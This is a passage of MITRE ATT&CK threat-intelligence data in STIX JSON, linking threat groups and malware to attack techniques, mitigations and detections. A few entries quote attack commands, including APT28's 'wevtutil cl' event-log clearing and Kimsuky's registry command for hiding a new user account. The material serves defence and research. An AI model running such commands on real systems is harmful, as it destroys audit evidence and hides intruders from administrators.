2022.","url":"https://docs.microsoft.com/en-us/power-platform/admin/block-forwarded-email-from-power-automate"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T13:58:52.139Z","description":"Monitor Serverless Execution activities by examining logs that contain information about Serverless function invocations. This is especially useful for detecting anomalous behavior within AWS Lambda, Azure Functions, or Google Cloud Functions. For example, in Exchange environments emails sent by Power Automate via the Outlook 365 connector include the phrase ‘Power App’ or ‘Power Automate’ in the SMTP header 'x-ms-mail-application.'(Citation: Power Automate Email Exfiltration Controls)\n\nAnalytic 1 - Failed or abnormal serverless function invocations across AWS, Azure, and Google Cloud\n\nsourcetype=aws:lambda OR sourcetype=azure:function OR sourcetype=gcp:function\n| where result_status != \"Success\"\n ","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--e848506b-8484-4410-8017-3d235a52f5b3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4b688df5-5ecf-48ea-a15f-4509e557224c","created":"2024-03-12T18:49:33.157Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"},{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-12T20:53:54.056Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors changed timestamps of multiple files on compromised Ivanti Secure Connect VPNs to conceal malicious activity.(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b6bee9b-469e-48ce-84fa-5322de03470a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-27T20:41:21.589Z","description":"The original variant of [FakeM](https://attack.mitre.org/software/S0076) encrypts C2 traffic using a custom encryption cipher that uses an XOR key of “YHCRA” and bit rotation between each XOR operation. Some variants of [FakeM](https://attack.mitre.org/software/S0076) use RC4 to encrypt C2 traffic.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--bb3c1098-d654-4620-bf40-694386d28921","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4b6f2524-85b4-4151-9001-32b875cfbb19","created":"2023-03-26T20:44:12.561Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:44:12.561Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used RDP sessions from public-facing systems to internal servers.(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b70ec83-7488-4b4e-bd0b-58fb45da3a15","type":"relationship","created":"2021-09-30T13:54:52.735Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-10-15T21:47:13.776Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can RC4 encrypt strings in C2 communication.(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4b74e41a-7b30-42f9-bc7a-1accd709b215","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T16:41:20.663Z","description":"Monitor for changes made to files related to account settings, such as `/etc/ssh/sshd_config` and the authorized_keys file for each user on a system.","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4b7e0525-1ba7-4d55-89d1-07fc94193065","created":"2020-02-20T17:27:40.285Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Common Conditional Access Policies","description":"Microsoft. (2022, December 14). Conditional Access templates. Retrieved February 21, 2023.","url":"https://learn.microsoft.com/en-us/azure/active-directory/conditional-access/concept-conditional-access-policy-common"},{"source_name":"Okta Block Anonymizing Services","description":"Moussa Diallo and Brett Winterford. (2024, April 26). How to Block Anonymizing Services using Okta. Retrieved May 28, 2024.","url":"https://sec.okta.com/blockanonymizers"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-28T18:50:47.826Z","description":"Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render environments un-usable, with all accounts used in the brute force being locked-out. Use conditional access policies to block logins from non-compliant devices or from outside defined organization IP ranges.(Citation: Microsoft Common Conditional Access Policies) Consider blocking risky authentication requests, such as those originating from anonymizing services/proxies.(Citation: Okta Block Anonymizing Services)","relationship_type":"mitigates","source_ref":"course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c","target_ref":"attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4b7e9da5-e087-4a1d-8df0-82910bd3b1c3","created":"2024-09-25T19:54:21.873Z","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T19:54:21.873Z","description":"\n[Play](https://attack.mitre.org/groups/G1040) has used the information stealer Grixba to check for a list of security processes.(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b83387a-bba5-44a9-9dc4-3aae9a916d24","type":"relationship","created":"2021-01-25T13:58:25.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Dtrack","url":"https://securelist.com/my-name-is-dtrack/93338/","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."},{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-03-12T21:10:52.979Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) can retrieve browser history.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4b889a3a-289f-444f-946d-b8bc2dd16627","created":"2022-03-15T20:02:43.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.410Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has run reg add ‘HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList’ /v to hide a newly created user.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b8bdc58-cfb9-4841-94e9-421b9e08f44f","type":"relationship","created":"2020-09-18T21:44:21.368Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020","url":"https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/","description":"Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020."},{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-27T13:17:43.325Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used a brute-force/password-spray tooling that operated in two modes: in brute-force mode it typically sent over 300 authentication attempts per hour per targeted account over the course of several hours or days.(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020) [APT28](https://attack.mitre.org/groups/G0007) has also used a Kubernetes cluster to conduct distributed, large-scale password guessing attacks.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b8d211d-4969-4c0f-8b01-fd176c8172d1","type":"relationship","created":"2017-05-31T21:33:27.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike DNC June 2016","description":"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.","url":"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"},{"source_name":"DOJ GRU Indictment Jul 2018","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","url":"https://www.justice.gov/file/1080281/download"}],"modified":"2020-02-18T03:33:45.891Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has cleared event logs, including by using the commands wevtutil cl System and wevtutil cl Security.(Citation: Crowdstrike DNC June 2016)(Citation: DOJ GRU Indictment Jul 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b8ebd1a-50ba-463a-b536-3ad8cc5013f8","type":"relationship","created":"2019-01-29T18:17:59.270Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CIRCL PlugX March 2013","url":"http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf","description":"Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."}],"modified":"2019-04-19T15:08:15.805Z","description":"[PlugX](https://attack.mitre.org/software/S0013) has a module to list the processes running on a machine.(Citation: CIRCL PlugX March 2013)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b98c580-7907-487c-a5b1-202663762c47","type":"relationship","created":"2021-04-14T14:03:30.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Rocket Kitten","url":"https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf","description":"Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018."}],"modified":"2021-04-14T14:03:30.696Z","description":"[Ajax Security Team](https://attack.mitre.org/groups/G0130) has used personalized spearphishing attachments.(Citation: Check Point Rocket Kitten)","relationship_type":"uses","source_ref":"intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b9cbe06-8c1f-4596-ad87-fa19e60e8ec3","type":"relationship","created":"2020-09-30T14:23:17.192Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020."},{"source_name":"NCSC APT29 July 2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."}],"modified":"2020-09-30T14:24:43.019Z","description":"[SoreFang](https://attack.mitre.org/software/S0516) can use HTTP in C2 communications.(Citation: CISA SoreFang July 2016)(Citation: NCSC APT29 July 2020)","relationship_type":"uses","source_ref":"malware--e33e4603-afab-402d-b2a1-248d435b5fe0","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4b9ee045-b369-4122-8743-a095f8a90ac5","created":"2024-09-16T08:53:39.679Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:53:39.679Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can enumerate running processes.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4ba3ebf4-66bf-4a72-a158-778b4a2664b6","created":"2024-03-04T19:31:50.138Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T15:11:08.438Z","description":" [ZIPLINE](https://attack.mitre.org/software/S1114) can add itself to the exclusion list for the Ivanti Connect Secure Integrity Checker Tool if the `--exclude` parameter is passed by the `tar` process.(Citation: Mandiant Cutting Edge January 2024)","relationship_type":"uses","source_ref":"malware--d9765cbd-4c88-4805-ba98-4c6ccb56b864","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4ba4e025-1dc5-44a1-8eeb-bb1e1e9bc9d1","created":"2024-03-29T17:38:59.487Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T17:38:59.487Z","description":"Monitor for newly constructed files, especially those that are unexpectedly created in folders associated with or spoofing that of trusted applications. Also, consider prioritizing monitoring and analyzing file activity in known file/path exclusions.","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--09b008a9-b4eb-462a-a751-a0eb58050cd9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ba4eefd-1387-4eee-9c6d-aa2ba19faf9c","type":"relationship","created":"2020-03-02T14:27:01.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-25T19:23:00.866Z","description":"Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4bac5bdb-493b-4c32-882d-ce77786d12c9","created":"2021-06-15T14:11:27.387Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"CrowdStrike Wizard Spider October 2020","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-04T19:39:48.154Z","description":"(Citation: CrowdStrike Wizard Spider October 2020)(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4baffcd6-9cdc-4f1e-9b54-4084e7dc2c42","type":"relationship","created":"2021-08-03T17:16:17.182Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:57:21.805Z","description":"[BoomBox](https://attack.mitre.org/software/S0635) has gained execution through user interaction with a malicious file.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--c26f1c05-b861-4970-94dc-2f7f921a3074","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4bb228b7-a456-426a-9be0-68a8a8a1b2d0","created":"2022-06-01T21:30:43.160Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Forcepoint BITTER Pakistan Oct 2016","description":"Dela Paz, R. (2016, October 21). BITTER: a targeted attack against Pakistan. Retrieved June 1, 2022.","url":"https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:52:41.651Z","description":"[BITTER](https://attack.mitre.org/groups/G1002) has used a RAR SFX dropper to deliver malware.(Citation: Forcepoint BITTER Pakistan Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4bb2d90a-468a-48af-8912-5386d2a1aa1d","type":"relationship","created":"2020-10-20T03:40:27.820Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:53:33.115Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4bb79228-9531-47c0-8e73-401e741593a8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/","description":"Hasherezade. (2016, September 12). Smoke Loader – downloader with a smokescreen still alive. Retrieved March 20, 2018.","source_name":"Malwarebytes SmokeLoader 2016"}],"modified":"2019-06-24T19:07:12.616Z","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) downloads a new version of itself once it has installed. It also downloads additional plugins.(Citation: Malwarebytes SmokeLoader 2016)","relationship_type":"uses","source_ref":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4bc2e50e-0753-497f-9ec0-af270abe2af1","created":"2019-04-23T18:08:46.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT39 Jan 2019","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"},{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.779Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has packed tools with UPX, and has repacked a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) to thwart anti-virus detection.(Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4bc4f37e-5cdd-4def-a997-1cbb37975a8f","created":"2023-01-17T22:04:06.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. 